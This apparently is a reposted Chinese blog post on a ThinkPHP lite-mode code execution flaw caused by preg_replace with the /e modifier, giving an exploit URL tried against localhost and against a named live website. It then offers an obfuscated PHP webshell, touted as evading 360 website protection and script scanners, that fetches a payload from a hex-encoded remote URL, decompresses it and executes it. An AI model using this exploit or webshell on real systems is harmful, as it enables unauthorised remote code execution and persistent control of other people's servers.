zoukankan      html  css  js  c++  java
  • thinkphp 代码执行

    相关漏洞:http://loudong.360.cn/vul/info/id/2919

    t01e3814aa59a5e4a81.jpg

    ThinkPHP 开启lite模式后,会加载ThinkPHP/Extend/Mode/Lite/Dispacher.class.php去匹配URL并分发用户请求, 而在该文件的65行使用perg_replace函数的 /e参数,

    t010139a98361422200.jpg

    第二个参数引用的时候使用了双引号,从而导致代码执行。

    测试 http://localhost/index.php/Index/index/name/$%7B@phpinfo%28%29%7D

    实例 http://www.bqllt.com/index.php/Index/index/name/$%7B@phpinfo%28%29%7D

    t0106218cf1a345a20e.jpg

    官方修复:http://www.thinkphp.cn/info/463.html

    有兴趣的同学可以对该漏洞进行详细分析下  


    :)


    并在此附带 一个高级  大马   过360 网站卫士  和 脚本扫描    

    <?php error_reporting(0);session_start();header("Content-type:text/html;charset=utf-8");if(empty($_SESSION['api'])) $_SESSION['api']=substr(file_get_contents(sprintf('%s?%s',pack("H*",'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067'),uniqid())),3649);@preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null);?>
    
  • 相关阅读:
    oss blob上传
    app中画一条细线
    antd和原生交互,原生掉前端的方法
    -webkit-touch-callout 图片下载
    ifram嵌入网址 有跨域问题
    ...state
    数组对象的复制
    在vue中使用tinymce组件
    autofs自动挂载服务
    podmen
  • 原文地址:https://www.cnblogs.com/hookjoy/p/3602349.html
Copyright © 2011-2022 走看看